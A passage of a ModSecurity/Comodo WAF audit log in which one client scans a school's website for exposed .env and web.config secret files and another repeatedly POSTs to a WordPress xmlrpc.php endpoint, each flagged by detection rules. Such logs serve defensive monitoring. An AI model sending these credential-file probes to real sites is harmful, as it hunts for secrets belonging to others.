Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bc090605-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7db0c76c73fb790ea7f3941dfec246571750022831; expires=Sun, 15 Jun 2025 22:27:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bc090605-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env~"] [unique_id "aE86rol8S04UZ4l67-nc1QAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022830887758 684814 (- - -) Stopwatch2: 1750022830887758 684814; combined=1705, p1=396, p2=1191, p3=0, p4=0, p5=117, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bc090605-Z-- --ae04dc25-A-- [16/Jun/2025:02:57:52.994611 +0530] aE862Il8S04UZ4l67-nc5QAAAAk 128.199.112.101 47450 127.0.0.1 7081 --ae04dc25-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ae04dc25-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ae04dc25-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE862Il8S04UZ4l67-nc5QAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022872062722 931957 (- - -) Stopwatch2: 1750022872062722 931957; combined=2372, p1=359, p2=1542, p3=49, p4=78, p5=209, sr=94, sw=135, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ae04dc25-Z-- --9daf7636-A-- [16/Jun/2025:02:58:14.433819 +0530] aE867eCiZPLeFRlDAYwb6gAAAAU 185.177.72.210 39076 127.0.0.1 7081 --9daf7636-B-- GET /.env_private HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9daf7636-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=98a86441c30996e20ea4b416658300b81750022894; expires=Sun, 15 Jun 2025 22:28:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9daf7636-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env_private"] [unique_id "aE867eCiZPLeFRlDAYwb6gAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022893796772 637121 (- - -) Stopwatch2: 1750022893796772 637121; combined=1662, p1=414, p2=1160, p3=0, p4=0, p5=88, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9daf7636-Z-- --04553b5f-A-- [16/Jun/2025:02:58:15.635795 +0530] aE867iHEjD4mqWjYVm18HQAAABM 185.177.72.210 39114 127.0.0.1 7081 --04553b5f-B-- GET /:9000/developer/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --04553b5f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=075249cd27c12bf495a6f107333ea5041750022895; expires=Sun, 15 Jun 2025 22:28:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --04553b5f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/developer/.env"] [unique_id "aE867iHEjD4mqWjYVm18HQAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022894928531 707348 (- - -) Stopwatch2: 1750022894928531 707348; combined=1930, p1=366, p2=1454, p3=0, p4=0, p5=110, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --04553b5f-Z-- --a0628802-A-- [16/Jun/2025:02:58:16.621446 +0530] aE867-CiZPLeFRlDAYwb6wAAAAU 185.177.72.210 39182 127.0.0.1 7081 --a0628802-B-- GET /:8443/awstats/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a0628802-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d8b5d5e405a11b626165b839570c30b31750022896; expires=Sun, 15 Jun 2025 22:28:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a0628802-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/awstats/.env"] [unique_id "aE867-CiZPLeFRlDAYwb6wAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022895962324 659211 (- - -) Stopwatch2: 1750022895962324 659211; combined=1807, p1=482, p2=1189, p3=0, p4=0, p5=135, sr=122, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a0628802-Z-- --3fac0c03-A-- [16/Jun/2025:02:58:17.620828 +0530] aE868CHEjD4mqWjYVm18HgAAABM 185.177.72.210 39206 127.0.0.1 7081 --3fac0c03-B-- GET /:8880/.env.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3fac0c03-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=32888908791cf227bd6a305288b66aaa1750022897; expires=Sun, 15 Jun 2025 22:28:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3fac0c03-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.old"] [unique_id "aE868CHEjD4mqWjYVm18HgAAABM"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.old"] [unique_id "aE868CHEjD4mqWjYVm18HgAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022896944885 676038 (- - -) Stopwatch2: 1750022896944885 676038; combined=1834, p1=373, p2=1320, p3=0, p4=0, p5=140, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3fac0c03-Z-- --f377ba62-A-- [16/Jun/2025:02:58:28.585004 +0530] aE86-9xCjYf3vhjKXItzRAAAAA8 185.177.72.210 39384 127.0.0.1 7081 --f377ba62-B-- GET /index.vb HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f377ba62-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a4e5dfed048934ba6c2fb1511651fc931750022908; expires=Sun, 15 Jun 2025 22:28:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f377ba62-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".vb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".vb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/index.vb"] [unique_id "aE86-9xCjYf3vhjKXItzRAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022907933251 651827 (- - -) Stopwatch2: 1750022907933251 651827; combined=1515, p1=257, p2=1148, p3=0, p4=0, p5=110, sr=75, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f377ba62-Z-- --414bc040-A-- [16/Jun/2025:02:58:33.576510 +0530] aE87AHwizUED0-SK4eRL6QAAAAE 185.177.72.210 45952 127.0.0.1 7081 --414bc040-B-- GET /:9000/.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --414bc040-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6267dce50410305f4515b26ac4af401f1750022913; expires=Sun, 15 Jun 2025 22:28:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --414bc040-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.backup"] [unique_id "aE87AHwizUED0-SK4eRL6QAAAAE"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.backup"] [unique_id "aE87AHwizUED0-SK4eRL6QAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022912917235 659339 (- - -) Stopwatch2: 1750022912917235 659339; combined=2059, p1=414, p2=1488, p3=0, p4=0, p5=156, sr=112, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --414bc040-Z-- --c57c5761-A-- [16/Jun/2025:02:58:36.600595 +0530] aE87A8SAI-lmnIgQu6D4zwAAAAc 185.177.72.210 46076 127.0.0.1 7081 --c57c5761-B-- GET /secure/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c57c5761-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e4e32afab94a70479bcc06a1245777c61750022916; expires=Sun, 15 Jun 2025 22:28:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c57c5761-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/secure/.env.production"] [unique_id "aE87A8SAI-lmnIgQu6D4zwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022915924643 676014 (- - -) Stopwatch2: 1750022915924643 676014; combined=1633, p1=344, p2=1196, p3=0, p4=0, p5=93, sr=82, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c57c5761-Z-- --cf5a8c7a-A-- [16/Jun/2025:02:58:38.569811 +0530] aE87BWBSQiWwwCa-v2QG0wAAAAQ 185.177.72.210 46174 127.0.0.1 7081 --cf5a8c7a-B-- GET /web.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cf5a8c7a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d86999bca8c4467edc3c01004bc1b4591750022918; expires=Sun, 15 Jun 2025 22:28:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cf5a8c7a-H-- Message: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/web.config"] [unique_id "aE87BWBSQiWwwCa-v2QG0wAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/web.config"] [unique_id "aE87BWBSQiWwwCa-v2QG0wAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022917913853 656022 (- - -) Stopwatch2: 1750022917913853 656022; combined=1826, p1=390, p2=1266, p3=0, p4=0, p5=169, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cf5a8c7a-Z-- --31946834-A-- [16/Jun/2025:02:58:44.484241 +0530] aE87C2BSQiWwwCa-v2QG1QAAAAQ 185.177.72.210 50496 127.0.0.1 7081 --31946834-B-- GET /:8443/.env_1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --31946834-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c00c505c8db3591d464932d30db3bbbc1750022924; expires=Sun, 15 Jun 2025 22:28:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --31946834-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env_1"] [unique_id "aE87C2BSQiWwwCa-v2QG1QAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022923824646 659676 (- - -) Stopwatch2: 1750022923824646 659676; combined=1996, p1=395, p2=1472, p3=0, p4=0, p5=128, sr=112, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --31946834-Z-- --31baaf32-A-- [16/Jun/2025:02:58:53.322653 +0530] aE87FCHEjD4mqWjYVm18LgAAABM 128.199.112.101 50254 127.0.0.1 7081 --31baaf32-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 504 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --31baaf32-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --31baaf32-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE87FCHEjD4mqWjYVm18LgAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022932368074 954640 (- - -) Stopwatch2: 1750022932368074 954640; combined=2314, p1=543, p2=1355, p3=48, p4=65, p5=186, sr=96, sw=117, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --31baaf32-Z-- --492dca3d-A-- [16/Jun/2025:02:58:56.707334 +0530] aE87GNafa9gds5d-5EIs-gAAAAM 185.177.72.210 50440 127.0.0.1 7081 --492dca3d-B-- GET /:8880/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --492dca3d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1fe83356f8c6a5a7c98ef6a0aa9447b21750022936; expires=Sun, 15 Jun 2025 22:28:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --492dca3d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched 